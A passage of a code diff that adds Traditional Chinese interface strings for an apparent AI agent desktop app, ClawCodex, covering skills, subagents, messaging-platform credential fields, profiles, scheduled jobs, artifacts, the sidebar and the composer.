+    searchToolsets: '搜尋工具集...',
+    refresh: '重新整理技能',
+    refreshing: '正在重新整理技能',
+    loading: '正在載入功能…',
+    noSkillsTitle: '找不到技能',
+    noSkillsDesc: '請嘗試更廣泛的搜尋或不同類別。',
+    noToolsetsTitle: '找不到工具集',
+    noToolsetsDesc: '請嘗試更廣泛的搜尋詞。',
+    noDescription: '無可用描述。',
+    configured: '已設定',
+    needsKeys: '需要金鑰',
+    visionModelHint: '視覺功能使用你的輔助模型設定——支援影像的模型在那裡選擇，而不是在此處按供應商選擇。',
+    visionModelLink: '在 設定 → 模型 中選擇視覺模型',
+    toolsetsEnabled: (enabled, total) => `已啟用 ${enabled}/${total} 個工具集`,
+    configureToolset: label => `設定 ${label}`,
+    toggleToolset: (label, enabled) => `${enabled ? '開啟' : '關閉'} ${label} 工具集`,
+    skillsLoadFailed: '技能載入失敗',
+    toolsetsRefreshFailed: '工具集重新整理失敗',
+    skillEnabled: '技能已啟用',
+    skillDisabled: '技能已停用',
+    toolsetEnabled: '工具集已啟用',
+    toolsetDisabled: '工具集已停用',
+    appliesToNewSessions: name => `${name} 將套用至新工作階段。`,
+    failedToUpdate: name => `更新 ${name} 失敗`,
+    sortMostUsed: '最常用',
+    sortAlpha: 'A–Z',
+    sortMostUsedDesc: '↓ 最常用',
+    sortLeastUsedAsc: '↑ 最少用',
+    enableAll: '全部啟用',
+    disableAll: '全部停用',
+    disableUnused: '停用未使用',
+    bulkUpdated: count => `已為新工作階段更新 ${count} 項。`,
+    bulkNoChange: '沒有需要變更的內容。',
+    usageCount: count => `已使用 ${count} 次`,
+    provenance: {
+      agent: '已學習',
+      bundled: '內建',
+      hub: '技能中心'
+    },
+    emptyNoneFound: noun => `找不到${noun}`,
+    emptyNothingMatches: query => `沒有符合「${query}」的內容。`,
+    emptyNoneAvailable: noun => `尚無可用的${noun}。`,
+    changesApplyNewSessions: '變更將套用至新工作階段。',
+    skillUpdated: '技能已更新',
+    edit: '編輯',
+    archive: '封存',
+    skillArchivedTitle: '技能已封存',
+    skillArchivedMessage: '可透過 clawcodex curator restore 還原。'
+  },
+
+  starmap: {
+    title: '記憶圖譜',
+    subtitle: (nodes, clusters) => `${clusters} 個類別中的 ${nodes} 個技能`,
+    close: '關閉記憶圖譜',
+    refresh: '重新整理',
+    memory: '記憶',
+    filterAll: '全部',
+    filterUsed: '已使用',
+    filterLearned: '已學習',
+    viewGraph: '圖譜',
+    loadFailed: '無法載入記憶圖譜',
+    loading: '載入中…',
+    emptyTitle: '尚無學習內容',
+    emptyDesc: '當 ClawCodex 為你的工作建立技能與記憶時，會顯示在這裡。'
+  },
+  agents: {
+    close: '關閉代理',
+    title: '派生樹',
+    subtitle: '目前回合的子代理即時活動。',
+    emptyTitle: '暫無活躍子代理',
+    emptyDesc: '當某個回合派發任務時，子代理會在此即時顯示進度。',
+    running: '執行中',
+    failed: '失敗',
+    done: '完成',
+    streaming: '串流傳輸中',
+    files: '檔案',
+    moreFiles: count => `還有 ${count} 個檔案`,
+    delegation: index => `派發 ${index}`,
+    workers: count => `${count} 個工作單元`,
+    workersActive: count => `${count} 個活躍`,
+    agentsCount: count => `${count} 個代理`,
+    activeCount: count => `${count} 個活躍`,
+    failedCount: count => `${count} 個失敗`,
+    toolsCount: count => `${count} 個工具`,
+    filesCount: count => `${count} 個檔案`,
+    updatedAgo: age => `更新於 ${age}`,
+    ageNow: '剛才',
+    ageSeconds: seconds => `${seconds} 秒前`,
+    ageMinutes: minutes => `${minutes} 分鐘前`,
+    ageHours: hours => `${hours} 小時前`,
+    ageDays: days => `${days} 天前`,
+    durationSeconds: seconds => `${seconds} 秒`,
+    durationMinutes: (minutes, seconds) => `${minutes} 分 ${seconds} 秒`,
+    tokens: value => `${value} 詞元`
+  },
+
+  commandCenter: {
+    close: '關閉命令中心',
+    paletteTitle: '命令面板',
+    back: '返回',
+    searchPlaceholder: '搜尋工作階段、檢視和動作',
+    goTo: '前往',
+    goToSession: '前往工作階段',
+    branches: '分支',
+    startInBranch: branch => `在 ${branch} 中開始新對話`,
+    commandCenter: '命令中心',
+    appearance: '外觀',
+    settings: '設定',
+    changeTheme: '變更主題',
+    changeColorMode: '變更色彩模式…',
+    pets: {
+      title: '寵物',
+      placeholder: '搜尋寵物…',
+      loading: '正在載入 petdex 畫廊…',
+      error: '無法連線至 petdex 畫廊。',
+      staleBackend: '請重新啟動 ClawCodex 以使用寵物功能。',
+      empty: '沒有符合的寵物。',
+      turnOff: '關閉',
+      turnOn: '開啟',
+      installed: '已安裝',
+      generatedTag: '生成',
+      adoptFailed: '無法領養該寵物。',
+      toggleFailed: enabled => `無法${enabled ? '開啟' : '關閉'}寵物顯示。`,
+      noneAvailable: '尚無可用寵物——請在下方選擇一個安裝。'
+    },
+    generatePet: {
+      title: '生成寵物',
+      placeholder: '描述要生成的寵物……',
+      promptHint: '輸入描述，然後按 Enter 生成四種造型。',
+      readyHint: '按 Enter 依描述生成四種造型。',
+      generate: '生成',
+      generating: '生成中……',
+      retry: '重試',
+      hatch: '孵化',
+      spawning: '召喚中……',
+      hatching: '正在孵化你的寵物……',
+      hatchingSub: '正在注入生命……',
+      hatched: '孵化成功！',
+      hatchRow: (_state, done, total) => `正在繪製畫面…… ${done}/${total}`,
+      hatchComposing: '正在拼合……',
+      hatchSaving: '快好了……',
+      namePlaceholder: '為寵物命名',
+      staleBackend: '請更新 ClawCodex 以生成寵物。',
+      backgroundHint: '你可以關閉此視窗——完成後 ClawCodex 會通知你。',
+      slowProviderHint: '這可能需要幾分鐘',
+      remix: '混合生成',
+      remixConfirmTitle: '以此造型混合生成？',
+      remixConfirmBody: '將以此造型為起點生成一組新草圖，可能需要幾分鐘。',
+      genericError: '生成失敗——請重試或選一個建議。',
+      referenceImageTooLarge: '參考圖片過大。請使用小於 16 MB 的圖片。',
+      referenceImageInvalid: '無法讀取該參考圖片。請嘗試 PNG、JPG、WebP 或 GIF。',
+      adopt: '領養',
+      startOver: '重新開始'
+    },
+    installTheme: {
+      title: '安裝主題…',
+      pageTitle: '安裝主題',
+      placeholder: '搜尋 VS Code Marketplace...',
+      loading: '正在搜尋 Marketplace...',
+      error: '無法連接到 Marketplace。',
+      empty: '沒有符合的主題。',
+      install: '安裝',
+      installing: '安裝中...',
+      installed: '已安裝',
+      installs: count => `${count} 次安裝`
+    },
+    settingsFields: '設定欄位',
+    mcpServers: 'MCP 伺服器',
+    archivedChats: '已封存聊天',
+    sections: { sessions: '工作階段', system: '系統', usage: '使用量' },
+    sectionDescriptions: {
+      sessions: '搜尋和管理工作階段',
+      system: '狀態、記錄和系統動作',
+      usage: '一段時間內的詞元、費用和技能活動'
+    },
+    nav: {
+      newChat: { title: '新工作階段', detail: '開始新的工作階段' },
+      settings: { title: '設定', detail: '設定 ClawCodex 桌面端' },
+      skills: { title: '技能與工具', detail: '啟用技能、工具集和提供方' },
+      messaging: { title: '訊息平台', detail: '設定 Telegram、Slack、Discord 等' },
+      artifacts: { title: '成品', detail: '瀏覽產生的輸出' }
+    },
+    sectionEntries: {
+      sessions: { title: '工作階段面板', detail: '搜尋、釘選和管理工作階段' },
+      system: { title: '系統面板', detail: '閘道狀態、記錄、重新啟動/更新' },
+      usage: { title: '使用量面板', detail: '詞元、費用和技能活動' }
+    },
+    providerNavigate: '導覽',
+    providerSessions: '工作階段',
+    refresh: '重新整理',
+    refreshing: '重新整理中…',
+    noResults: '找不到相符的結果。',
+    pinSession: '釘選工作階段',
+    unpinSession: '取消釘選',
+    exportSession: '匯出工作階段',
+    deleteSession: '刪除工作階段',
+    noSessions: '暫無工作階段。',
+    gatewayRunning: '訊息閘道執行中',
+    gatewayStopped: '訊息閘道已停止',
+    clawcodexActiveSessions: (version, count) => `ClawCodex ${version} · 活躍工作階段 ${count}`,
+    restartGateway: '重新啟動閘道',
+    gatewayRestartFailed: '閘道重新啟動失敗。',
+    updateClawCodex: '更新 ClawCodex',
+    actionRunning: '執行中',
+    actionDone: '完成',
+    actionFailed: '失敗',
+    actionStartedWaiting: '動作已啟動，等待狀態…',
+    loadingStatus: '正在載入狀態…',
+    recentLogs: '最近記錄',
+    noLogs: '尚未載入記錄。',
+    days: count => `${count} 天`,
+    statSessions: '工作階段',
+    statApiCalls: 'API 呼叫',
+    statTokens: '輸入/輸出詞元',
+    statCost: '預估費用',
+    actualCost: cost => `實際 ${cost}`,
+    loadingUsage: '正在載入使用量…',
+    noUsage: period => `最近 ${period} 天暫無使用量。`,
+    retry: '重試',
+    dailyTokens: '每日詞元',
+    input: '輸入',
+    output: '輸出',
+    noDailyActivity: '暫無每日活動。',
+    topModels: '常用模型',
+    noModelUsage: '暫無模型使用量。',
+    topSkills: '常用技能',
+    noSkillActivity: '暫無技能活動。',
+    actions: count => `${count} 次動作`
+  },
+
+  messaging: {
+    search: '搜尋訊息平台…',
+    loading: '正在載入訊息平台…',
+    loadFailed: '訊息平台載入失敗',
+    states: {
+      connected: '已連線',
+      connecting: '連線中',
+      disabled: '已停用',
+      fatal: '錯誤',
+      gateway_stopped: '訊息閘道已停止',
+      not_configured: '需要設定',
+      pending_restart: '需要重新啟動',
+      retrying: '重試中',
+      startup_failed: '啟動失敗'
+    },
+    unknown: '未知',
+    hintPendingRestart: '在狀態列重新啟動閘道以套用此變更。',
+    hintGatewayStopped: '在狀態列啟動閘道以建立連線。',
+    credentialsSet: '憑證已設定',
+    needsSetup: '需要設定',
+    gatewayStopped: '訊息閘道已停止',
+    getCredentials: '取得您的憑證',
+    openSetupGuide: '開啟設定指南',
+    required: '必填',
+    recommended: '建議',
+    advanced: count => `進階 (${count})`,
+    noTokenNeeded: '此平台不需要在此填寫 Token。請按照上方設定指南操作，然後在下方啟用。',
+    enabled: '已啟用',
+    disabled: '已停用',
+    unsavedChanges: '有未儲存的變更',
+    saving: '儲存中…',
+    saveChanges: '儲存變更',
+    saved: '已儲存',
+    replaceValue: '取代目前值',
+    openDocs: '開啟文件',
+    clearField: key => `清除 ${key}`,
+    enableAria: name => `啟用 ${name}`,
+    disableAria: name => `停用 ${name}`,
+    platformEnabled: name => `${name} 已啟用`,
+    platformDisabled: name => `${name} 已停用`,
+    restartToApply: '此變更將在閘道重新啟動後生效。',
+    setupSaved: name => `${name} 設定已儲存`,
+    restartToReconnect: '新憑證將在閘道重新啟動後生效。',
+    keyCleared: key => `${key} 已清除`,
+    setupUpdated: name => `${name} 設定已更新。`,
+    failedUpdate: name => `更新 ${name} 失敗`,
+    failedSave: name => `儲存 ${name} 失敗`,
+    failedClear: key => `清除 ${key} 失敗`,
+    fieldCopy: {
+      TELEGRAM_BOT_TOKEN: {
+        label: 'Bot Token',
+        help: '用 @BotFather 建立機器人，然後貼上它給您的 Token。',
+        placeholder: '貼上 Telegram bot Token'
+      },
+      TELEGRAM_ALLOWED_USERS: {
+        label: '允許的 Telegram 使用者 ID',
+        help: '建議設定。來自 @userinfobot 的逗號分隔數字 ID。不設定則任何人都能私訊您的機器人。'
+      },
+      TELEGRAM_PROXY: { label: '代理 URL', help: '僅在 Telegram 被封鎖的網路中需要。' },
+      DISCORD_BOT_TOKEN: {
+        label: 'Bot Token',
+        help: '在 Discord 開發者入口網站建立應用程式，新增機器人，然後貼上其 Token。'
+      },
+      DISCORD_ALLOWED_USERS: { label: '允許的 Discord 使用者 ID', help: '建議設定。逗號分隔的 Discord 使用者 ID。' },
+      DISCORD_REPLY_TO_MODE: { label: '回覆方式', help: 'first、all 或 off。' },
+      DISCORD_ALLOW_ALL_USERS: {
+        label: '允許所有 Discord 使用者',
+        help: '僅供開發使用。為 true 時，任何人都可以私訊機器人，不需要允許清單。'
+      },
+      DISCORD_HOME_CHANNEL: {
+        label: '主頻道 ID',
+        help: '機器人主動傳送訊息的頻道（cron 輸出、提醒等）。'
+      },
+      DISCORD_HOME_CHANNEL_NAME: {
+        label: '主頻道名稱',
+        help: '記錄和狀態輸出中顯示的主頻道名稱。'
+      },
+      BLUEBUBBLES_ALLOW_ALL_USERS: { label: '允許所有 iMessage 使用者', help: '為 true 時略過 BlueBubbles 允許清單。' },
+      MATTERMOST_ALLOW_ALL_USERS: { label: '允許所有 Mattermost 使用者' },
+      MATTERMOST_HOME_CHANNEL: { label: '主頻道' },
+      QQ_ALLOW_ALL_USERS: { label: '允許所有 QQ 使用者' },
+      QQBOT_HOME_CHANNEL: { label: 'QQ 主頻道', help: 'cron 傳遞的預設頻道或群組。' },
+      QQBOT_HOME_CHANNEL_NAME: { label: 'QQ 主頻道名稱' },
+      SLACK_BOT_TOKEN: {
+        label: 'Slack bot Token',
+        help: '安裝 Slack 應用程式後，在 OAuth & Permissions 中找到 bot Token。',
+        placeholder: '貼上 Slack bot Token'
+      },
+      SLACK_APP_TOKEN: {
+        label: 'Slack app Token',
+        help: 'Socket Mode 需要 app 層級 Token。',
+        placeholder: '貼上 Slack app Token'
+      },
+      SLACK_ALLOWED_USERS: { label: '允許的 Slack 使用者 ID', help: '建議設定。逗號分隔的 Slack 使用者 ID。' },
+      MATTERMOST_URL: { label: '伺服器 URL', placeholder: 'https://mattermost.example.com' },
+      MATTERMOST_TOKEN: { label: 'Bot Token' },
+      MATTERMOST_ALLOWED_USERS: { label: '允許的使用者 ID', help: '建議設定。逗號分隔的 Mattermost 使用者 ID。' },
+      MATRIX_HOMESERVER: { label: 'Homeserver URL', placeholder: 'https://matrix.org' },
+      MATRIX_ACCESS_TOKEN: { label: '存取 Token' },
+      MATRIX_USER_ID: { label: 'Bot 使用者 ID', placeholder: '@clawcodex:example.org' },
+      MATRIX_ALLOWED_USERS: {
+        label: '允許的 Matrix 使用者 ID',
+        help: '建議設定。@user:server 格式的逗號分隔使用者 ID。'
+      },
+      SIGNAL_HTTP_URL: {
+        label: 'Signal 橋接 URL',
+        placeholder: 'http://127.0.0.1:8080',
+        help: '執行中的 signal-cli REST 橋接的 URL。'
+      },
+      SIGNAL_ACCOUNT: { label: '電話號碼', help: '在 signal-cli 橋接中註冊的號碼。' },
+      SIGNAL_ALLOWED_USERS: { label: '允許的 Signal 使用者', help: '建議設定。逗號分隔的 Signal 識別碼。' },
+      WHATSAPP_ENABLED: {
+        label: '啟用 WhatsApp 橋接',
+        help: '由下方切換開關自動設定。除非確知需要，否則請勿變更。'
+      },
+      WHATSAPP_MODE: { label: '橋接模式' },
+      WHATSAPP_ALLOWED_USERS: {
+        label: '允許的 WhatsApp 使用者',
+        help: '建議設定。逗號分隔的電話號碼或 WhatsApp ID。'
+      }
+    },
+    platformIntro: {}
+  },
+
+  profiles: {
+    close: '關閉設定檔',
+    nameHint: '小寫字母、數字、連字號和底線。必須以字母或數字開頭。',
+    title: '設定檔',
+    count: count => `${count} 個設定檔`,
+    search: '搜尋設定檔…',
+    loading: '正在載入設定檔…',
+    newProfile: '新增設定檔',
+    importProfile: '匯入設定檔…',
+    exportProfile: '匯出設定檔…',
+    imported: '設定檔已匯入',
+    exported: '設定檔已匯出',
+    failedImport: '匯入設定檔失敗',
+    failedExport: '匯出設定檔失敗',
+    allProfiles: '全部設定檔',
+    showAllProfiles: '顯示全部設定檔',
+    switchToProfile: name => `切換至 ${name}`,
+    manageProfiles: '管理設定檔…',
+    actions: '動作',
+    color: '顏色…',
+    colorFor: '顏色',
+    setColor: color => `設定顏色 ${color}`,
+    autoColor: '自動',
+    noProfiles: '找不到設定檔。',
+    selectPrompt: '選擇一個設定檔以檢視其詳細資訊。',
+    refresh: '重新整理設定檔',
+    refreshing: '正在重新整理設定檔',
+    default: '預設',
+    skills: count => `${count} 個技能`,
+    env: 'env',
+    defaultBadge: '預設',
+    rename: '重新命名',
+    renameMenu: '重新命名…',
+    editSoul: '編輯 SOUL.md…',
+    copySetup: '複製安裝指令',
+    copying: '複製中…',
+    modelLabel: '模型',
+    skillsLabel: '技能',
+    notSet: '未設定',
+    soulDesc: '內建於此設定檔的系統提示詞與角色指令。',
+    soulOptional: '選填',
+    soulPlaceholder: mode => `此設定檔的系統提示詞 / 角色說明。\n留空則保留${mode}預設值。`,
+    soulPlaceholderCloned: '複製的',
+    soulPlaceholderEmpty: '空的',
+    unsavedChanges: '有未儲存的變更',
+    loadingSoul: '正在載入 SOUL.md…',
+    emptySoul: '空的 SOUL.md — 開始撰寫角色設定…',
+    saving: '儲存中…',
+    saveSoul: '儲存 SOUL.md',
+    deleteTitle: '刪除設定檔？',
+    deleteDescPrefix: '這將刪除 ',
+    deleteDescMid: ' 並移除其 ',
+    deleteDescSuffix: ' 目錄。此操作無法復原。',
+    deleting: '刪除中…',
+    createDesc: '設定檔是獨立的 ClawCodex 環境：各自擁有獨立的設定、技能和 SOUL.md。',
+    nameLabel: '名稱',
+    cloneFrom: '複製來源',
+    cloneFromNone: '無（空白）',
+    cloneFromDesc: '從選取的來源設定檔複製設定、技能和 SOUL.md。',
+    cloneFromDefault: '從預設設定檔複製設定',
+    cloneFromDefaultDesc: '從您的預設設定檔複製設定、技能和 SOUL.md。',
+    invalidName: hint => `設定檔名稱無效。${hint}`,
+    nameRequired: '名稱為必填',
+    creating: '建立中…',
+    createAction: '建立設定檔',
+    renameTitle: '重新命名設定檔',
+    renameDescPrefix: '重新命名會更新設定檔目錄以及 ',
+    renameDescSuffix: ' 中的所有包裝指令碼。',
+    newNameLabel: '新名稱',
+    renaming: '重新命名中…',
+    created: '已建立',
+    renamed: '已重新命名',
+    deleted: '已刪除',
+    setupCopied: '安裝指令已複製',
+    soulSaved: 'SOUL.md 已儲存',
+    failedLoad: '載入設定檔失敗',
+    failedDelete: '刪除設定檔失敗',
+    failedCopy: '複製安裝指令失敗',
+    failedLoadSoul: '載入 SOUL.md 失敗',
+    failedSaveSoul: '儲存 SOUL.md 失敗',
+    failedCreate: '建立設定檔失敗',
+    failedRename: '重新命名設定檔失敗'
+  },
+
+  cron: {
+    close: '關閉排程',
+    title: '排程工作',
+    count: count => `${count} 個工作`,
+    search: '搜尋排程工作…',
+    loading: '正在載入排程工作…',
+    states: {
+      enabled: '已啟用',
+      scheduled: '已排程',
+      running: '執行中',
+      paused: '已暫停',
+      disabled: '已停用',
+      error: '錯誤',
+      completed: '已完成'
+    },
+    deliveryLabels: {
+      local: '此桌面',
+      telegram: 'Telegram',
+      discord: 'Discord',
+      slack: 'Slack',
+      email: '電子郵件'
+    },
+    scheduleLabels: {
+      daily: '每天',
+      weekdays: '工作日',
+      weekly: '每週',
+      monthly: '每月',
+      hourly: '每小時',
+      'every-15-minutes': '每 15 分鐘',
+      custom: '自訂'
+    },
+    scheduleHints: {
+      daily: '每天上午 9:00',
+      weekdays: '週一至週五上午 9:00',
+      weekly: '每週一上午 9:00',
+      monthly: '每月第一天上午 9:00',
+      hourly: '每個整點',
+      'every-15-minutes': '每 15 分鐘',
+      custom: 'Cron 語法或自然語言'
+    },
+    days: {
+      '0': '週日',
+      '1': '週一',
+      '2': '週二',
+      '3': '週三',
+      '4': '週四',
+      '5': '週五',
+      '6': '週六',
+      '7': '週日'
+    },
+    dayFallback: value => `第 ${value} 天`,
+    everyDayAt: time => `每天 ${time}`,
+    weekdaysAt: time => `工作日 ${time}`,
+    everyDayOfWeekAt: (day, time) => `每${day} ${time}`,
+    monthlyOnDayAt: (dayOfMonth, time) => `每月 ${dayOfMonth} 日 ${time}`,
+    topOfHour: '每個整點',
+    everyHourAt: minute => `每小時的 :${minute}`,
+    newCron: '新排程工作',
+    emptyDescNew: '按 cron 表達式排程一個提示詞。ClawCodex 會執行它，並將結果傳送至您選擇的目的地。',
+    emptyDescSearch: '請嘗試更廣泛的搜尋詞。',
+    emptyTitleNew: '暫無排程工作',
+    emptyTitleSearch: '無相符項目',
+    last: '上次：',
+    next: '下次：',
+    noRuns: '尚無執行',
+    manage: '管理',
+    showRuns: '顯示執行記錄',
+    hideRuns: '隱藏執行記錄',
+    runHistory: '執行記錄',
+
+    actionsTitle: '排程工作動作',
+    resume: '繼續',
+    pause: '暫停',
+    resumeTitle: '繼續',
+    pauseTitle: '暫停',
+    triggerNow: '立即觸發',
+    edit: '編輯排程工作',
+    deleteTitle: '刪除排程工作？',
+    deleteDescPrefix: '這將永久移除 ',
+    deleteDescSuffix: '。它會立即停止觸發。',
+    deleting: '刪除中…',
+    resumed: '排程工作已繼續',
+    paused: '排程工作已暫停',
+    triggered: '排程工作已觸發',
+    deleted: '排程工作已刪除',
+    created: '排程工作已建立',
+    updated: '排程工作已更新',
+    failedLoad: '載入排程工作失敗',
+    failedUpdate: '更新排程工作失敗',
+    failedTrigger: '觸發排程工作失敗',
+    failedDelete: '刪除排程工作失敗',
+    failedSave: '儲存排程工作失敗',
+    editTitle: '編輯排程工作',
+    createTitle: '新排程工作',
+    editDesc: '更新排程、提示詞或傳遞目標。變更將在下次執行時生效。',
+    createDesc: '排程一個提示詞以自動執行。使用 cron 語法或類似「每 15 分鐘」的自然語言。',
+    nameLabel: '名稱',
+    namePlaceholder: '例如：每日摘要',
+    promptLabel: '提示詞',
+    promptPlaceholder: '代理每次執行時應做什麼？',
+    frequencyLabel: '頻率',
+    deliverLabel: '傳遞至',
+    deliverNeedsHomeChannel: '請先設定主頻道',
+    modelLabel: '模型',
+    modelDefault: '預設（全域模型）',
+    customScheduleLabel: '自訂排程',
+    customPlaceholder: '0 9 * * * 或 weekdays at 9am',
+    customHint: 'Cron 表達式，或類似「每小時」「工作日上午 9 點」的短語。',
+    optional: '選填',
+    promptRequired: '提示詞為必填項目。',
+    promptScheduleRequired: '提示詞和排程為必填項目。',
+    scheduleRequired: '排程為必填項目。',
+    scriptOnlyEditHint: '僅腳本任務（無 AI 提示詞）。任務 ID：',
+    saveChanges: '儲存變更',
+    createAction: '建立排程工作',
+    tabs: {
+      jobs: '工作',
+      blueprints: '藍圖'
+    },
+    blueprints: {
+      tab: '藍圖',
+      startFrom: '從此開始',
+      custom: '自訂',
+      subtitle: '現成的自動化',
+      dialogDesc: '填寫詳細資訊並進行排程。',
+      scheduleIt: '安排工作',
+      scheduling: '安排中...',
+      scheduled: '藍圖已安排',
+      loading: '正在載入藍圖...',
+      failedLoad: '載入藍圖失敗',
+      emptyTitle: '沒有可用的藍圖',
+      emptyDesc: '此後端上沒有可用的自動化藍圖。'
+    }
+  },
+
+  artifacts: {
+    search: '搜尋成品…',
+    refresh: '重新整理成品',
+    refreshing: '正在重新整理成品',
+    indexing: '正在索引最近工作階段的成品',
+    tabAll: '全部',
+    tabImages: '圖片',
+    tabFiles: '檔案',
+    tabLinks: '連結',
+    noArtifactsTitle: '找不到成品',
+    noArtifactsDesc: '當工作階段產生圖片和檔案輸出時，它們會顯示在這裡。',
+    failedLoad: '成品載入失敗',
+    openFailed: '開啟失敗',
+    itemsImage: '張圖片',
+    itemsLink: '個連結',
+    itemsFile: '個檔案',
+    itemsGeneric: '項',
+    zero: '0',
+    rangeOf: (start, end, total) => `${start}-${end}，共 ${total}`,
+    goToPage: (itemLabel, page) => `前往${itemLabel}第 ${page} 頁`,
+    colTitleLink: '連結標題',
+    colTitleFile: '名稱',
+    colTitleDefault: '標題 / 名稱',
+    colLocationLink: 'URL',
+    colLocationFile: '路徑',
+    colLocationDefault: '位置',
+    colSession: '工作階段',
+    kindImage: '圖片',
+    kindFile: '檔案',
+    kindLink: '連結',
+    chat: '聊天',
+    copyUrl: '複製 URL',
+    copyPath: '複製路徑'
+  },
+
+  artifactCard: {
+    kind: { code: '程式碼', html: '互動頁面', svg: '圖形' },
+    generating: lines => `產生中… ${lines} 行`,
+    versionBadge: count => `${count} 個版本`,
+    open: '開啟'
+  },
+
+  artifactPreview: {
+    versionOf: (current, total) => `第 ${current}/${total} 版`,
+    olderVersion: '較舊版本',
+    newerVersion: '較新版本',
+    latest: '最新',
+    copyContent: '複製內容',
+    download: '下載',
+    openInBrowser: '在瀏覽器中開啟',
+    openInBrowserFailed: '無法在瀏覽器中開啟',
+    missingTitle: '產物無法使用',
+    missingBody: '此產物已不在本機註冊表中。'
+  },
+
+  sidebar: {
+    nav: {
+      'new-session': '新工作階段',
+      skills: '技能與工具',
+      messaging: '訊息平台',
+      artifacts: '成品'
+    },
+    searchAria: '搜尋工作階段',
+    searchPlaceholder: '搜尋工作階段…',
+    clearSearch: '清除搜尋',
+    noMatch: query => `沒有工作階段符合「${query}」。`,
+    results: '結果',
+    pinned: '已釘選',
+    sessions: '工作階段',
+    cronJobs: '排程任務',
+    groupAriaGrouped: '以單一清單顯示工作階段',
+    groupAriaUngrouped: '依工作區分組工作階段',
+    showProjects: '顯示專案',
+    showSessions: '顯示工作階段',
+    groupTitleGrouped: '取消分組',
+    groupTitleUngrouped: '依工作區分組',
+    allPinned: '這裡的全部已釘選。取消釘選某個聊天即可在最近中顯示。',
+    shiftClickHint: 'Shift + 點擊聊天以釘選 · 拖曳以重新排序',
+    noWorkspace: '無工作區',
+    projectEmpty: '尚無工作階段',
+    noSessions: '尚無工作階段',
+    projects: {
+      sectionLabel: '專案',
+      home: '主頁',
+      newButton: '新增專案',
+      createTitle: '新增專案',
+      createDesc: '為工作區命名並新增一個或多個資料夾。',
+      renameTitle: '重新命名專案',
+      addFolderTitle: '新增資料夾',
+      namePlaceholder: '例如 Skunkworks',
+      foldersLabel: '資料夾',
+      ideaLabel: '想法',
+      ideaPlaceholder: '這個專案是關於什麼的？（儲存到 IDEA.md）',
+      ideaGenerate: '產生想法',
+      ideaGenerating: '產生中…',
+      ideaShuffle: '隨機範本',
+      noFolders: '尚未新增資料夾。',
+      addFolder: '新增資料夾',
+      primaryBadge: '主要',
+      removeFolder: '移除',
+      create: '建立',
+      menu: '動作',
+      menuRename: '重新命名',
+      menuAppearance: '外觀',
+      noColor: '無顏色',
+      menuAddFolder: '新增資料夾',
+      menuSetActive: '設為使用中',
+      menuDelete: '刪除',
+      reveal: '在資料夾中顯示',
+      copyPath: '複製路徑',
+      removeFromSidebar: '從側邊欄移除',
+      createFailed: '無法建立專案',
+      staleBackend: '請更新 ClawCodex 後端以建立專案——目前後端比桌面應用舊（設定 → 更新 → 後端）。',
+      deleteConfirm: '這會從 ClawCodex 中移除已儲存的專案。檔案、git 儲存庫和工作樹維持不變。',
+      startWork: '新增工作樹',
+      newWorktreeTitle: '新增工作樹',
+      newWorktreeDesc: '為這個工作樹命名分支。',
+      branchPlaceholder: '例如 my-feature',
+      branchOff: () => ({ after: ' 分支', before: '從 ' }),
+      baseBranchPlaceholder: '搜尋分支…',
+      baseBranchNone: '未找到分支',
+      startWorkFailed: '無法建立工作樹',
+      worktreeProjectLabel: '專案',
+      worktreeProjectPlaceholder: '搜尋專案…',
+      worktreeProjectNone: '沒有包含資料夾的專案',
+      convertBranch: '轉換分支…',
+      convertBranchTitle: '轉換分支',
+      convertBranchDesc: '開啟已簽出的分支，或為可用分支建立工作樹。',
+      convertBranchPlaceholder: '搜尋分支…',
+      convertBranchInstead: '轉換現有分支',
+      branchOpenExisting: '開啟',
+      branchSwitchHome: '切回主簽出',
+      branchCreateWorktree: '新增工作樹',
+      branchTrackRemote: '追蹤遠端',
+      branchesLoading: '正在載入分支…',
+      noBranches: '找不到分支',
+      removeWorktree: '移除工作樹',
+      removeWorktreeFailed: '無法移除工作樹（有未提交的變更？）',
+      removeWorktreeConfirm:
+        '從 git 中移除（刪除工作樹目錄，但保留分支），或僅從側邊欄隱藏該軌道並將工作樹保留在磁碟上。',
+      removeWorktreeDirty: '此工作樹有未提交的變更。強制移除（捨棄這些變更），或僅隱藏軌道並保留在磁碟上。',
+      forceRemove: '強制移除',
+      enter: label => `開啟 ${label}`
+    },
+    newSessionIn: label => `在 ${label} 中新建工作階段`,
+    showMoreIn: (count, label) => `在 ${label} 中再顯示 ${count} 個`,
+    loading: '載入中…',
+    loadMore: '載入更多',
+    loadCount: step => `再載入 ${step} 個`,
+    row: {
+      pin: '釘選',
+      unpin: '取消釘選',
+      copyId: '複製 ID',
+      export: '匯出',
+      branchFrom: '分支',
+      rename: '重新命名',
+      archive: '封存',
+      newWindow: '新視窗',
+      copyIdFailed: '無法複製工作階段 ID',
+
+      sessionActions: '工作階段動作',
+      sessionRunning: '工作階段執行中',
+      needsInput: '需要您的輸入',
+      waitingForAnswer: '等待您的回答',
+      finishedUnread: '已完成 — 未讀',
+      backgroundRunning: '背景任務執行中',
+      handoffOrigin: platform => `從 ${platform} 轉接`,
+      ownedByProfile: profile => `設定檔：${profile}`,
+      renamed: '已重新命名',
+      renameFailed: '重新命名失敗',
+      renameTitle: '重新命名工作階段',
+      renameDesc: '留空則清除。',
+      untitledPlaceholder: '未命名工作階段',
+      untitledChat: id => `工作階段 ${id}`,
+      ageNow: '剛才',
+      ageDay: '天',
+      ageHour: '時',
+      ageMin: '分'
+    },
+    dateDivider: {
+      today: '今天稍早',
+      yesterday: '昨天',
+      thisWeek: '本週',
+      lastWeek: '上週',
+      thisMonth: '本月'
+    }
+  },
+
+  composer: {
+    message: '訊息',
+    wakingProfile: profile => `正在喚醒 ${profile}…`,
+    placeholderStarting: '正在啟動 ClawCodex...',
+    placeholderReconnecting: '正在重新連線至 ClawCodex…',
+    placeholderFollowUp: '傳送後續訊息',
+    newSessionPlaceholders: [
+      '我們要建立什麼？',
+      '給 ClawCodex 一個任務',
+      '您在想什麼？',
+      '描述您需要什麼',
+      '我們該處理什麼？',
+      '盡管問',
+      '從一個目標開始'
+    ],
+    followUpPlaceholders: [
+      '傳送後續訊息',
+      '補充更多脈絡',
+      '細化此請求',
+      '下一步是什麼？',
+      '繼續推進',
+      '再深入一點',
+      '調整或繼續'
+    ],
+    startVoice: '開始語音對話',
+    openDirective: '開啟',
+    queueMessage: '排隊訊息',
+    stop: '停止',
+    send: '傳送',
+    speaking: '說話中',
+    transcribing: '轉寫中',
+    thinking: '思考中',
+    muted: '已靜音',
+    listening: '聆聽中',
+    muteMic: '麥克風靜音',
